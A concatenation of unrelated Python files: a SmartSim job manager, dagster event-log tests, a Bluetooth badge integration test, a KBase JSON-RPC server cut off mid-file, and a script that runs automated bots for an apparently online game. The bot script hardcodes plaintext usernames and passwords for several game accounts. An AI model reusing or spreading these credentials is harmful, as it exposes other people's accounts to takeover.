# BSD 2-Clause License # # Copyright (c) 2021-2022, Hewlett Packard Enterprise # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, this # list of conditions and the following disclaimer. # # 2. Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. import itertools import time from threading import Thread from ...database import Orchestrator from ...entity import DBNode from ...error import SmartSimError from ...log import get_logger from ...status import TERMINAL_STATUSES from ..config import CONFIG from ..launcher import LocalLauncher from ..utils.network import get_ip_from_host from .job import Job logger = get_logger(__name__) class JobManager: """The JobManager maintains a mapping between user defined entities and the steps launched through the launcher. The JobManager holds jobs according to entity type. The JobManager is threaded and runs during the course of an experiment to update the statuses of Jobs. The JobManager and Controller share a single instance of a launcher object that allows both the Controller and launcher access to the wlm to query information about jobs that the user requests. """ def __init__(self, lock, launcher=None): """Initialize a Jobmanager :param launcher: a Launcher object to manage jobs :type: SmartSim.Launcher """ # active jobs self.jobs = {} self.db_jobs = {} # completed jobs self.completed = {} self.actively_monitoring = False # on/off flag self._launcher = launcher # reference to launcher self._lock = lock # thread lock def start(self): """Start a thread for the job manager""" self.monitor = Thread(name="JobManager", daemon=True, target=self.run) self.monitor.start() def run(self): """Start the JobManager thread to continually check the status of all jobs. Whichever launcher is selected by the user will be responsible for returning statuses that progress the state of the job. The interval of the checks is controlled by smartsim.constats.TM_INTERVAL and should be set to values above 20 for congested, multi-user systems The job manager thread will exit when no jobs are left or when the main thread dies """ logger.debug("Starting Job Manager") self.actively_monitoring = True while self.actively_monitoring: self._thread_sleep() self.check_jobs() # update all job statuses at once for _, job in self().items(): # if the job has errors then output the report # this should only output once if job.returncode is not None and job.status in TERMINAL_STATUSES: if int(job.returncode) != 0: logger.warning(job) logger.warning(job.error_report()) self.move_to_completed(job) else: # job completed without error logger.info(job) self.move_to_completed(job) # if no more jobs left to actively monitor if not self(): self.actively_monitoring = False logger.debug("Sleeping, no jobs to monitor") def move_to_completed(self, job): """Move job to completed queue so that its no longer actively monitored by the job manager :param job: job instance we are transitioning :type job: Job """ self._lock.acquire() try: self.completed[job.ename] = job job.record_history() # remove from actively monitored jobs if job.ename in self.db_jobs.keys(): del self.db_jobs[job.ename] elif job.ename in self.jobs.keys(): del self.jobs[job.ename] finally: self._lock.release() def __getitem__(self, entity_name): """Return the job associated with the name of the entity from which it was created. :param entity_name: The name of the entity of a job :type entity_name: str :returns: the Job associated with the entity_name :rtype: Job """ self._lock.acquire() try: if entity_name in self.db_jobs.keys(): return self.db_jobs[entity_name] if entity_name in self.jobs.keys(): return self.jobs[entity_name] if entity_name in self.completed.keys(): return self.completed[entity_name] raise KeyError finally: self._lock.release() def __call__(self): """Returns dictionary all jobs for () operator :returns: Dictionary of all jobs :rtype: dictionary """ all_jobs = {**self.jobs, **self.db_jobs} return all_jobs def add_job(self, job_name, job_id, entity, is_task=True): """Add a job to the job manager which holds specific jobs by type. :param job_name: name of the job step :type job_name: str :param job_id: job step id created by launcher :type job_id: str :param entity: entity that was launched on job step :type entity: SmartSimEntity :param is_task: process monitored by TaskManager (True) or the WLM (True) :type is_task: bool """ launcher = str(self._launcher) # all operations here should be atomic job = Job(job_name, job_id, entity, launcher, is_task) if isinstance(entity, (DBNode, Orchestrator)): self.db_jobs[entity.name] = job else: self.jobs[entity.name] = job def is_finished(self, entity): """Detect if a job has completed :param entity: entity to check :type entity: SmartSimEntity :return: True if finished :rtype: bool """ self._lock.acquire() try: job = self[entity.name] # locked operation if entity.name in self.completed: if job.status in TERMINAL_STATUSES: return True return False finally: self._lock.release() def check_jobs(self): """Update all jobs in jobmanager Update all jobs returncode, status, error and output through one call to the launcher. """ self._lock.acquire() try: jobs = self().values() job_name_map = dict([(job.name, job.ename) for job in jobs]) # returns (job step name, StepInfo) tuples statuses = self._launcher.get_step_update(job_name_map.keys()) for job_name, status in statuses: job = self[job_name_map[job_name]] # uses abstract step interface job.set_status( status.status, status.launcher_status, status.returncode, error=status.error, output=status.output, ) finally: self._lock.release() def get_status(self, entity): """Return the status of a job. :param entity: SmartSimEntity or EntityList instance :type entity: SmartSimEntity | EntityList :returns: tuple of status """ self._lock.acquire() try: if entity.name in self.completed: return self.completed[entity.name].status job = self[entity.name] # locked except KeyError: raise SmartSimError( f"Entity {entity.name} has not been launched in this Experiment" ) from None finally: self._lock.release() return job.status def set_launcher(self, launcher): """Set the launcher of the job manager to a specific launcher instance :param launcher: child of Launcher :type launcher: Launcher instance """ self._launcher = launcher def query_restart(self, entity_name): """See if the job just started should be restarted or not. :param entity_name: name of entity to check for a job for :type entity_name: str :return: if job should be restarted instead of started :rtype: bool """ if entity_name in self.completed: return True return False def restart_job(self, job_name, job_id, entity_name, is_task=True): """Function to reset a job to record history and be ready to launch again. :param job_name: new job step name :type job_name: str :param job_id: new job id :type job_id: str :param entity_name: name of the entity of the job :type entity_name: str :param is_task: process monitored by TaskManager (True) or the WLM (True) :type is_task: bool """ self._lock.acquire() try: job = self.completed[entity_name] del self.completed[entity_name] job.reset(job_name, job_id, is_task) if isinstance(job.entity, (DBNode, Orchestrator)): self.db_jobs[entity_name] = job else: self.jobs[entity_name] = job finally: self._lock.release() def get_db_host_addresses(self): """Retrieve the list of hosts for the database :return: list of host ip addresses :rtype: list[str] """ addresses = [] for db_job in self.db_jobs.values(): for combine in itertools.product(db_job.hosts, db_job.entity.ports): ip_addr = get_ip_from_host(combine[0]) addresses.append(":".join((ip_addr, str(combine[1])))) return addresses def set_db_hosts(self, orchestrator): """Set the DB hosts in db_jobs so future entities can query this :param orchestrator: orchestrator instance :type orchestrator: Orchestrator """ # should only be called during launch in the controller self._lock.acquire() try: if orchestrator.batch: self.db_jobs[orchestrator.name].hosts = orchestrator.hosts else: for dbnode in orchestrator: if not dbnode._mpmd: self.db_jobs[dbnode.name].hosts = [dbnode.host] else: self.db_jobs[dbnode.name].hosts = dbnode.hosts finally: self._lock.release() def signal_interrupt(self): if self.actively_monitoring and len(self) > 0: logger.warning("SmartSim process interrupted before resource cleanup") logger.warning("You may need to manually stop the following:") for job_name, job in self().items(): if job.is_task: # this will be the process id logger.warning(f"Task {job_name} with id: {job.jid}") else: logger.warning(f"Job {job_name} with {job.launched_with} id: {job.jid}") def _thread_sleep(self): """Sleep the job manager for a specific constant set for the launcher type. """ local_jm_interval = 2 if isinstance(self._launcher, (LocalLauncher)): time.sleep(local_jm_interval) else: time.sleep(CONFIG.jm_interval) def __len__(self): # number of active jobs return len(self.db_jobs) + len(self.jobs)
test_event_log.py
import multiprocessing import os import sys import time import traceback from contextlib import contextmanager import pytest import sqlalchemy from dagster import seven from dagster.core.errors import DagsterEventLogInvalidForRun from dagster.core.events import DagsterEvent, DagsterEventType, EngineEventData from dagster.core.events.log import DagsterEventRecord from dagster.core.execution.plan.objects import StepSuccessData from dagster.core.storage.event_log import ( InMemoryEventLogStorage, SqlEventLogStorageMetadata, SqlEventLogStorageTable, SqliteEventLogStorage, ) from dagster.core.storage.sql import create_engine @contextmanager def create_in_memory_event_log_storage(): yield InMemoryEventLogStorage() @contextmanager def create_sqlite_run_event_logstorage(): with seven.TemporaryDirectory() as tmpdir_path: yield SqliteEventLogStorage(tmpdir_path) event_storage_test = pytest.mark.parametrize( 'event_storage_factory_cm_fn', [create_in_memory_event_log_storage, create_sqlite_run_event_logstorage], ) @event_storage_test def test_init_log_storage(event_storage_factory_cm_fn): with event_storage_factory_cm_fn() as storage: if isinstance(storage, InMemoryEventLogStorage): assert not storage.is_persistent elif isinstance(storage, SqliteEventLogStorage): assert storage.is_persistent else: raise Exception("Invalid event storage type") @event_storage_test def test_log_storage_run_not_found(event_storage_factory_cm_fn): with event_storage_factory_cm_fn() as storage: assert storage.get_logs_for_run('bar') == [] @event_storage_test def test_event_log_storage_store_events_and_wipe(event_storage_factory_cm_fn): with event_storage_factory_cm_fn() as storage: assert len(storage.get_logs_for_run('foo')) == 0 storage.store_event( DagsterEventRecord( None, 'Message2', 'debug', '', 'foo', time.time(), dagster_event=DagsterEvent( DagsterEventType.ENGINE_EVENT.value, 'nonce', event_specific_data=EngineEventData.in_process(999), ), ) ) assert len(storage.get_logs_for_run('foo')) == 1 assert storage.get_stats_for_run('foo') storage.wipe() assert len(storage.get_logs_for_run('foo')) == 0 @event_storage_test def test_event_log_storage_store_with_multiple_runs(event_storage_factory_cm_fn): with event_storage_factory_cm_fn() as storage: runs = ['foo', 'bar', 'baz'] for run_id in runs: assert len(storage.get_logs_for_run(run_id)) == 0 storage.store_event( DagsterEventRecord( None, 'Message2', 'debug', '', run_id, time.time(), dagster_event=DagsterEvent( DagsterEventType.STEP_SUCCESS.value, 'nonce', event_specific_data=StepSuccessData(duration_ms=100.0), ), ) ) for run_id in runs: assert len(storage.get_logs_for_run(run_id)) == 1 assert storage.get_stats_for_run(run_id).steps_succeeded == 1 storage.wipe() for run_id in runs: assert len(storage.get_logs_for_run(run_id)) == 0 @event_storage_test def test_event_log_storage_watch(event_storage_factory_cm_fn): def evt(name): return DagsterEventRecord( None, name, 'debug', '', 'foo', time.time(), dagster_event=DagsterEvent( DagsterEventType.ENGINE_EVENT.value, 'nonce', event_specific_data=EngineEventData.in_process(999), ), ) with event_storage_factory_cm_fn() as storage: watched = [] watcher = lambda x: watched.append(x) # pylint: disable=unnecessary-lambda assert len(storage.get_logs_for_run('foo')) == 0 storage.store_event(evt('Message1')) assert len(storage.get_logs_for_run('foo')) == 1 assert len(watched) == 0 storage.watch('foo', 0, watcher) storage.store_event(evt('Message2')) storage.store_event(evt('Message3')) storage.store_event(evt('Message4')) attempts = 10 while len(watched) < 3 and attempts > 0: time.sleep(0.1) attempts -= 1 storage.end_watch('foo', watcher) time.sleep(0.5) # this value scientifically selected from a range of attractive values storage.store_event(evt('Message5')) assert len(storage.get_logs_for_run('foo')) == 5 assert len(watched) == 3 storage.delete_events('foo') assert len(storage.get_logs_for_run('foo')) == 0 assert len(watched) == 3 @event_storage_test def test_event_log_storage_pagination(event_storage_factory_cm_fn): def evt(name): return DagsterEventRecord( None, name, 'debug', '', 'foo', time.time(), dagster_event=DagsterEvent( DagsterEventType.ENGINE_EVENT.value, 'nonce', event_specific_data=EngineEventData.in_process(999), ), ) with event_storage_factory_cm_fn() as storage: storage.store_event(evt('Message_0')) storage.store_event(evt('Message_1')) storage.store_event(evt('Message_2')) assert len(storage.get_logs_for_run('foo')) == 3 assert len(storage.get_logs_for_run('foo', -1)) == 3 assert len(storage.get_logs_for_run('foo', 0)) == 2 assert len(storage.get_logs_for_run('foo', 1)) == 1 assert len(storage.get_logs_for_run('foo', 2)) == 0 @event_storage_test def test_event_log_delete(event_storage_factory_cm_fn): with event_storage_factory_cm_fn() as storage: assert len(storage.get_logs_for_run('foo')) == 0 storage.store_event( DagsterEventRecord( None, 'Message2', 'debug', '', 'foo', time.time(), dagster_event=DagsterEvent( DagsterEventType.ENGINE_EVENT.value, 'nonce', event_specific_data=EngineEventData.in_process(999), ), ) ) assert len(storage.get_logs_for_run('foo')) == 1 assert storage.get_stats_for_run('foo') storage.delete_events('foo') assert len(storage.get_logs_for_run('foo')) == 0 @event_storage_test def test_event_log_get_stats_without_start_and_success(event_storage_factory_cm_fn): # When an event log doesn't have a PIPELINE_START or PIPELINE_SUCCESS | PIPELINE_FAILURE event, # we want to ensure storage.get_stats_for_run(...) doesn't throw an error. with event_storage_factory_cm_fn() as storage: assert len(storage.get_logs_for_run('foo')) == 0 assert storage.get_stats_for_run('foo') def test_filesystem_event_log_storage_run_corrupted(): with seven.TemporaryDirectory() as tmpdir_path: storage = SqliteEventLogStorage(tmpdir_path) # URL begins sqlite:/// # pylint: disable=protected-access with open(os.path.abspath(storage.conn_string_for_run_id('foo')[10:]), 'w') as fd: fd.write('some nonsense') with pytest.raises(sqlalchemy.exc.DatabaseError): storage.get_logs_for_run('foo') def test_filesystem_event_log_storage_run_corrupted_bad_data(): with seven.TemporaryDirectory() as tmpdir_path: storage = SqliteEventLogStorage(tmpdir_path) SqlEventLogStorageMetadata.create_all(create_engine(storage.conn_string_for_run_id('foo'))) with storage.connect('foo') as conn: event_insert = SqlEventLogStorageTable.insert().values( # pylint: disable=no-value-for-parameter run_id='foo', event='{bar}', dagster_event_type=None, timestamp=None ) conn.execute(event_insert) with pytest.raises(DagsterEventLogInvalidForRun): storage.get_logs_for_run('foo') SqlEventLogStorageMetadata.create_all(create_engine(storage.conn_string_for_run_id('bar'))) with storage.connect('bar') as conn: # pylint: disable=protected-access event_insert = SqlEventLogStorageTable.insert().values( # pylint: disable=no-value-for-parameter run_id='bar', event='3', dagster_event_type=None, timestamp=None ) conn.execute(event_insert) with pytest.raises(DagsterEventLogInvalidForRun): storage.get_logs_for_run('bar') def cmd(exceptions, tmpdir_path): storage = SqliteEventLogStorage(tmpdir_path) try: with storage.connect('foo'): pass except Exception as exc: # pylint: disable=broad-except exceptions.put(exc) exc_info = sys.exc_info() traceback.print_tb(exc_info[2]) def test_concurrent_sqlite_event_log_connections(): exceptions = multiprocessing.Queue() with seven.TemporaryDirectory() as tmpdir_path: ps = [] for _ in range(5): ps.append(multiprocessing.Process(target=cmd, args=(exceptions, tmpdir_path))) for p in ps: p.start() j = 0 for p in ps: p.join() j += 1 assert j == 5 excs = [] while not exceptions.empty(): excs.append(exceptions.get()) assert not excs, excs
BotsController.py
from Interface import PipeToJava from LowLevelFunctions import LowLevelFunctions from Bot import Bot from threading import Thread import random from Resources import Resources pipe = PipeToJava(headless=True) bot_id = 0 resources = Resources() llf = LowLevelFunctions(resources) colors = [ '\33[31m', '\33[33m', '\33[34m', '\33[35m', '\33[36m', '\33[91m', '\33[92m', '\33[93m', '\33[94m', '\33[95m', '\33[96m', ] random.shuffle(colors) ''' {'username': 'wublel6', 'password': 'notabot0', 'name': 'Holle-holla-hollu', 'server': 'Julith'} {'username': 'wublel9', 'password': 'notabot0', 'name': 'Sayerses', 'server': 'Julith'} {'username': 'wublel11', 'password': 'notabot0', 'name': 'Alvestana', 'server': 'Furye'} {'username': 'wublel2', 'password': 'notabot0', 'name': 'Scalpelementaire', 'server': 'Julith'} {'username': 'wublel2', 'password': 'notabot0', 'name': 'Gradopr', 'server': 'Julith'} {'username': 'wublel5', 'password': 'notabot0', 'name': 'Ilancelet', 'server': 'Julith'}, {'username': 'wublel12', 'password': 'notabot0', 'name': 'Draideac', 'server': 'Julith'}, ''' credentials = [ {'username': 'randomname0', 'password': 'notabot0', 'name': 'Romaru', 'server': 'Julith'}, ] bots = [] threads = [] for cred in credentials: bots.append(Bot(pipe, credentials.index(cred), cred, llf, resources, color=colors[credentials.index(cred)])) for bot in bots: threads.append(Thread(target=bot.run)) threads[-1].name = bot.credentials['name'] threads[-1].start() for thread in threads: thread.join() pipe.t.join() __author__ = 'Alexis'
integration_test.py
import unittest import sys import Adafruit_BluefruitLE import logging import time import serial import serial.tools.list_ports import threading from BadgeFramework.ble_badge_connection import BLEBadgeConnection from BadgeFramework.badge import OpenBadge logging.basicConfig(filename="integration_test.log", level=logging.DEBUG) logger = logging.getLogger(__name__) # Enable log output to terminal stdout_handler = logging.StreamHandler(sys.stdout) stdout_handler.setLevel(logging.DEBUG) logger.addHandler(stdout_handler) # Uncomment this line to make logging very verbose. # logging.getLogger().addHandler(stdout_handler) # Special badge restart command only used for testing purposes def restart_badge(serial): serial.write("restart\n") time.sleep(5) class IntegrationTest(unittest.TestCase): def __init__(self): unittest.TestCase.__init__(self) def runTest(self): self.runTest_startUART() # AdaFruit has this really handy helper function, but we should probably write our own, so that # we don't have to propogate the AdaFruit dependency everywhere. Adafruit_BluefruitLE.get_provider().run_mainloop_with(self.runTest_MainLoop) def runTest_startUART(self): uartPort = list(serial.tools.list_ports.grep("cu.usbmodem"))[0] self.uartSerial = serial.Serial(uartPort.device, 115200, timeout=1) def uartRXTarget(): while True: # Some slight implicit control flow going on here: # uartSerial.readline() will sometimes timeout, and then we'll just loop around. rx_data = self.uartSerial.readline() if rx_data: # We truncate the ending newline. self.onUartLineRx(rx_data[:-1]) uartRXThread = threading.Thread(target=uartRXTarget) uartRXThread.setDaemon(True) uartRXThread.start() def onUartLineRx(self, data): logger.info("UART:" + data) def runTest_MainLoop(self): restart_badge(self.uartSerial) connection = BLEBadgeConnection.get_connection_to_badge() connection.connect() badge = OpenBadge(connection) try: self.testCase(badge, logger) print "Test Passed! :)" except Exception as e: self.onTestFailure(badge, logger) raise AssertionError("Test Failure") def onTestFailure(self, badge, logger): logger.exception("Exception during test!") logger.info("Badge Status after Failure: {}".format(badge.get_status()))
unlzhhy__ContigFilterServer.py
#!/usr/bin/env python from wsgiref.simple_server import make_server import sys import json import traceback import datetime from multiprocessing import Process from getopt import getopt, GetoptError from jsonrpcbase import JSONRPCService, InvalidParamsError, KeywordError,\ JSONRPCError, ServerError, InvalidRequestError from os import environ from ConfigParser import ConfigParser from biokbase import log import biokbase.nexus import requests as _requests import urlparse as _urlparse import random as _random import os import requests.packages.urllib3 DEPLOY = 'KB_DEPLOYMENT_CONFIG' SERVICE = 'KB_SERVICE_NAME' # Note that the error fields do not match the 2.0 JSONRPC spec def get_config_file(): return environ.get(DEPLOY, None) def get_service_name(): return environ.get(SERVICE, None) def get_config(): if not get_config_file(): return None retconfig = {} config = ConfigParser() config.read(get_config_file()) for nameval in config.items(get_service_name() or 'unlzhhy__ContigFilter'): retconfig[nameval[0]] = nameval[1] return retconfig config = get_config() from unlzhhy__ContigFilter.unlzhhy__ContigFilterImpl import unlzhhy__ContigFilter impl_unlzhhy__ContigFilter = unlzhhy__ContigFilter(config) class JSONObjectEncoder(json.JSONEncoder): def default(self, obj): if isinstance(obj, set): return list(obj) if isinstance(obj, frozenset): return list(obj) if hasattr(obj, 'toJSONable'): return obj.toJSONable() return json.JSONEncoder.default(self, obj) sync_methods = {} async_run_methods = {} async_check_methods = {} async_run_methods['unlzhhy__ContigFilter.filter_contigs_async'] = ['unlzhhy__ContigFilter', 'filter_contigs'] async_check_methods['unlzhhy__ContigFilter.filter_contigs_check'] = ['unlzhhy__ContigFilter', 'filter_contigs'] sync_methods['unlzhhy__ContigFilter.filter_contigs'] = True async_run_methods['unlzhhy__ContigFilter.filter_contigs_max_async'] = ['unlzhhy__ContigFilter', 'filter_contigs_max'] async_check_methods['unlzhhy__ContigFilter.filter_contigs_max_check'] = ['unlzhhy__ContigFilter', 'filter_contigs_max'] sync_methods['unlzhhy__ContigFilter.filter_contigs_max'] = True class AsyncJobServiceClient(object): def __init__(self, timeout=30 * 60, token=None, ignore_authrc=True, trust_all_ssl_certificates=False): url = environ.get('KB_JOB_SERVICE_URL', None) if url is None and config is not None: url = config.get('job-service-url') if url is None: raise ValueError('Neither \'job-service-url\' parameter is defined in '+ 'configuration nor \'KB_JOB_SERVICE_URL\' variable is defined in system') scheme, _, _, _, _, _ = _urlparse.urlparse(url) if scheme not in ['http', 'https']: raise ValueError(url + " isn't a valid http url") self.url = url self.timeout = int(timeout) self._headers = dict() self.trust_all_ssl_certificates = trust_all_ssl_certificates if token is None: raise ValueError('Authentication is required for async methods') self._headers['AUTHORIZATION'] = token if self.timeout < 1: raise ValueError('Timeout value must be at least 1 second') def _call(self, method, params, json_rpc_call_context = None): arg_hash = {'method': method, 'params': params, 'version': '1.1', 'id': str(_random.random())[2:] } if json_rpc_call_context: arg_hash['context'] = json_rpc_call_context body = json.dumps(arg_hash, cls=JSONObjectEncoder) ret = _requests.post(self.url, data=body, headers=self._headers, timeout=self.timeout, verify=not self.trust_all_ssl_certificates) if ret.status_code == _requests.codes.server_error: if 'content-type' in ret.headers and ret.headers['content-type'] == 'application/json': err = json.loads(ret.text) if 'error' in err: raise ServerError(**err['error']) else: raise ServerError('Unknown', 0, ret.text) else: raise ServerError('Unknown', 0, ret.text) if ret.status_code != _requests.codes.OK: ret.raise_for_status() resp = json.loads(ret.text) if 'result' not in resp: raise ServerError('Unknown', 0, 'An unknown server error occurred') return resp['result'] def run_job(self, run_job_params, json_rpc_call_context = None): return self._call('KBaseJobService.run_job', [run_job_params], json_rpc_call_context)[0] def check_job(self, job_id, json_rpc_call_context = None): return self._call('KBaseJobService.check_job', [job_id], json_rpc_call_context)[0] class JSONRPCServiceCustom(JSONRPCService): def call(self, ctx, jsondata): """ Calls jsonrpc service's method and returns its return value in a JSON string or None if there is none. Arguments: jsondata -- remote method call in jsonrpc format """ result = self.call_py(ctx, jsondata) if result is not None: return json.dumps(result, cls=JSONObjectEncoder) return None def _call_method(self, ctx, request): """Calls given method with given params and returns it value.""" method = self.method_data[request['method']]['method'] params = request['params'] result = None try: if isinstance(params, list): # Does it have enough arguments? if len(params) < self._man_args(method) - 1: raise InvalidParamsError('not enough arguments') # Does it have too many arguments? if(not self._vargs(method) and len(params) > self._max_args(method) - 1): raise InvalidParamsError('too many arguments') result = method(ctx, *params) elif isinstance(params, dict): # Do not accept keyword arguments if the jsonrpc version is # not >=1.1. if request['jsonrpc'] < 11: raise KeywordError result = method(ctx, **params) else: # No params result = method(ctx) except JSONRPCError: raise except Exception as e: # log.exception('method %s threw an exception' % request['method']) # Exception was raised inside the method. newerr = ServerError() newerr.trace = traceback.format_exc() newerr.data = e.__str__() raise newerr return result def call_py(self, ctx, jsondata): """ Calls jsonrpc service's method and returns its return value in python object format or None if there is none. This method is same as call() except the return value is a python object instead of JSON string. This method is mainly only useful for debugging purposes. """ rdata = jsondata # we already deserialize the json string earlier in the server code, no # need to do it again # try: # rdata = json.loads(jsondata) # except ValueError: # raise ParseError # set some default values for error handling request = self._get_default_vals() if isinstance(rdata, dict) and rdata: # It's a single request. self._fill_request(request, rdata) respond = self._handle_request(ctx, request) # Don't respond to notifications if respond is None: return None return respond elif isinstance(rdata, list) and rdata: # It's a batch. requests = [] responds = [] for rdata_ in rdata: # set some default values for error handling request_ = self._get_default_vals() self._fill_request(request_, rdata_) requests.append(request_) for request_ in requests: respond = self._handle_request(ctx, request_) # Don't respond to notifications if respond is not None: responds.append(respond) if responds: return responds # Nothing to respond. return None else: # empty dict, list or wrong type raise InvalidRequestError def _handle_request(self, ctx, request): """Handles given request and returns its response.""" if self.method_data[request['method']].has_key('types'): # @IgnorePep8 self._validate_params_types(request['method'], request['params']) result = self._call_method(ctx, request) # Do not respond to notifications. if request['id'] is None: return None respond = {} self._fill_ver(request['jsonrpc'], respond) respond['result'] = result respond['id'] = request['id'] return respond class MethodContext(dict): def __init__(self, logger): self['client_ip'] = None self['user_id'] = None self['authenticated'] = None self['token'] = None self['module'] = None self['method'] = None self['call_id'] = None self['rpc_context'] = None self['provenance'] = None self._debug_levels = set([7, 8, 9, 'DEBUG', 'DEBUG2', 'DEBUG3']) self._logger = logger def log_err(self, message): self._log(log.ERR, message) def log_info(self, message): self._log(log.INFO, message) def log_debug(self, message, level=1): if level in self._debug_levels: pass else: level = int(level) if level < 1 or level > 3: raise ValueError("Illegal log level: " + str(level)) level = level + 6 self._log(level, message) def set_log_level(self, level): self._logger.set_log_level(level) def get_log_level(self): return self._logger.get_log_level() def clear_log_level(self): self._logger.clear_user_log_level() def _log(self, level, message): self._logger.log_message(level, message, self['client_ip'], self['user_id'], self['module'], self['method'], self['call_id']) def getIPAddress(environ): xFF = environ.get('HTTP_X_FORWARDED_FOR') realIP = environ.get('HTTP_X_REAL_IP') trustXHeaders = config is None or \ config.get('dont_trust_x_ip_headers') != 'true' if (trustXHeaders): if (xFF): return xFF.split(',')[0].strip() if (realIP): return realIP.strip() return environ.get('REMOTE_ADDR') class Application(object): # Wrap the wsgi handler in a class definition so that we can # do some initialization and avoid regenerating stuff over # and over def logcallback(self): self.serverlog.set_log_file(self.userlog.get_log_file()) def log(self, level, context, message): self.serverlog.log_message(level, message, context['client_ip'], context['user_id'], context['module'], context['method'], context['call_id']) def __init__(self): submod = get_service_name() or 'unlzhhy__ContigFilter' self.userlog = log.log( submod, ip_address=True, authuser=True, module=True, method=True, call_id=True, changecallback=self.logcallback, config=get_config_file()) self.serverlog = log.log( submod, ip_address=True, authuser=True, module=True, method=True, call_id=True, logfile=self.userlog.get_log_file()) self.serverlog.set_log_level(6) self.rpc_service = JSONRPCServiceCustom() self.method_authentication = dict() self.rpc_service.add(impl_unlzhhy__ContigFilter.filter_contigs, name='unlzhhy__ContigFilter.filter_contigs', types=[dict]) self.method_authentication['unlzhhy__ContigFilter.filter_contigs'] = 'required' self.rpc_service.add(impl_unlzhhy__ContigFilter.filter_contigs_max, name='unlzhhy__ContigFilter.filter_contigs_max', types=[dict]) self.method_authentication['unlzhhy__ContigFilter.filter_contigs_max'] = 'required' self.auth_client = biokbase.nexus.Client( config={'server': 'nexus.api.globusonline.org', 'verify_ssl': True, 'client': None, 'client_secret': None}) def __call__(self, environ, start_response): # Context object, equivalent to the perl impl CallContext ctx = MethodContext(self.userlog) ctx['client_ip'] = getIPAddress(environ) status = '500 Internal Server Error' try: body_size = int(environ.get('CONTENT_LENGTH', 0)) except (ValueError): body_size = 0 if environ['REQUEST_METHOD'] == 'OPTIONS': # we basically do nothing and just return headers status = '200 OK' rpc_result = "" else: request_body = environ['wsgi.input'].read(body_size) try: req = json.loads(request_body) except ValueError as ve: err = {'error': {'code': -32700, 'name': "Parse error", 'message': str(ve), } } rpc_result = self.process_error(err, ctx, {'version': '1.1'}) else: ctx['module'], ctx['method'] = req['method'].split('.') ctx['call_id'] = req['id'] ctx['rpc_context'] = {'call_stack': [{'time':self.now_in_utc(), 'method': req['method']}]} prov_action = {'service': ctx['module'], 'method': ctx['method'], 'method_params': req['params']} ctx['provenance'] = [prov_action] try: token = environ.get('HTTP_AUTHORIZATION') # parse out the method being requested and check if it # has an authentication requirement method_name = req['method'] if method_name in async_run_methods: method_name = async_run_methods[method_name][0] + "." + async_run_methods[method_name][1] if method_name in async_check_methods: method_name = async_check_methods[method_name][0] + "." + async_check_methods[method_name][1] auth_req = self.method_authentication.get(method_name, "none") if auth_req != "none": if token is None and auth_req == 'required': err = ServerError() err.data = "Authentication required for " + \ "unlzhhy__ContigFilter but no authentication header was passed" raise err elif token is None and auth_req == 'optional': pass else: try: user, _, _ = \ self.auth_client.validate_token(token) ctx['user_id'] = user ctx['authenticated'] = 1 ctx['token'] = token except Exception, e: if auth_req == 'required': err = ServerError() err.data = \ "Token validation failed: %s" % e raise err if (environ.get('HTTP_X_FORWARDED_FOR')): self.log(log.INFO, ctx, 'X-Forwarded-For: ' + environ.get('HTTP_X_FORWARDED_FOR')) method_name = req['method'] if method_name in async_run_methods or method_name in async_check_methods: if method_name in async_run_methods: orig_method_pair = async_run_methods[method_name] else: orig_method_pair = async_check_methods[method_name] orig_method_name = orig_method_pair[0] + '.' + orig_method_pair[1] if 'required' != self.method_authentication.get(orig_method_name, 'none'): err = ServerError() err.data = 'Async method ' + orig_method_name + ' should require ' + \ 'authentication, but it has authentication level: ' + \ self.method_authentication.get(orig_method_name, 'none') raise err job_service_client = AsyncJobServiceClient(token = ctx['token']) if method_name in async_run_methods: run_job_params = { 'method': orig_method_name, 'params': req['params']} if 'rpc_context' in ctx: run_job_params['rpc_context'] = ctx['rpc_context'] job_id = job_service_client.run_job(run_job_params) respond = {'version': '1.1', 'result': [job_id], 'id': req['id']} rpc_result = json.dumps(respond, cls=JSONObjectEncoder) status = '200 OK' else: job_id = req['params'][0] job_state = job_service_client.check_job(job_id) finished = job_state['finished'] if finished != 0 and 'error' in job_state and job_state['error'] is not None: err = {'error': job_state['error']} rpc_result = self.process_error(err, ctx, req, None) else: respond = {'version': '1.1', 'result': [job_state], 'id': req['id']} rpc_result = json.dumps(respond, cls=JSONObjectEncoder) status = '200 OK' elif method_name in sync_methods or (method_name + '_async') not in async_run_methods: self.log(log.INFO, ctx, 'start method') rpc_result = self.rpc_service.call(ctx, req) self.log(log.INFO, ctx, 'end method') status = '200 OK' else: err = ServerError() err.data = 'Method ' + method_name + ' cannot be run synchronously' raise err except JSONRPCError as jre: err = {'error': {'code': jre.code, 'name': jre.message, 'message': jre.data } } trace = jre.trace if hasattr(jre, 'trace') else None rpc_result = self.process_error(err, ctx, req, trace) except Exception, e: err = {'error': {'code': 0, 'name': 'Unexpected Server Error', 'message': 'An unexpected server error ' + 'occurred', } } rpc_result = self.process_error(err, ctx, req, traceback.format_exc()) # print 'The request method was %s\n' % environ['REQUEST_METHOD'] # print 'The environment dictionary is:\n%s\n' % pprint.pformat(environ) @IgnorePep8 # print 'The request body was: %s' % request_body # print 'The result from the method call is:\n%s\n' % \ # pprint.pformat(rpc_result) if rpc_result: response_body = rpc_result else: response_body = '' response_headers = [ ('Access-Control-Allow-Origin', '*'), ('Access-Control-Allow-Headers', environ.get( 